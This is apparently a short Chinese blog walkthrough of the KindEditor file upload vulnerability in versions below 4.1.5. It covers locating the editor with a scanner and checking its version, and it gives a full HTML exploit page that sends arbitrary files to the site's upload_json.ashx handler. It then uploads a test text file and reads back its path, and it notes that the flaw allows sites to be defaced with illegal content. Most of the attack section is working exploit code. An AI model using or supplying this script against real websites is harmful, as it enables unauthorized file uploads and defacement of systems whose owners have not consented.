kindeditor编辑器版本小于4.1.5存在文件上传漏洞,可利用该漏洞上次网页、文本文件,可网站进行篡改,添加赌博、反共等违法信息。

通过扫描器发现该网站存在编辑器。

通过浏览器访问,确定该编辑器为kindeditor编辑器。

确定该编辑器的版本小于4.1.5,存在文件上传漏洞。

构造文件上传漏洞利用脚本kindeditor.html。

<html><head>

 

<title>Uploader</title>

 

<script src="https://url/editor/kindeditor.js"></script>

 

<script>

 

KindEditor.ready(function(K) {

 

var uploadbutton = K.uploadbutton({

 

button : K('#uploadButton')[0],

 

fieldName : 'imgFile',

 

url : 'https://url/editor/asp/upload_json.ashx?dir=file',

 

afterUpload : function(data) {

 

if (data.error === 0) {

 

var url = K.formatUrl(data.url, 'absolute');

 

K('#url').val(url);}

 

},

 

});

 

uploadbutton.fileBox.change(function(e) {

 

uploadbutton.submit();

 

});

 

});

 

</script></head><body>

 

<div class="upload">

 

<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />

 

<input type="button" id="uploadButton" value="Upload" />

 

</div>

 

</body>

 

</html>

本地打开构建好的html文件

利用漏洞利用脚本上传测试文件uptext.txt,并使用工具抓取数据包。

在返回包中获取到文件上传位置,并使用浏览器成功访问。

更多推荐

kindeditor编辑器文件上传漏洞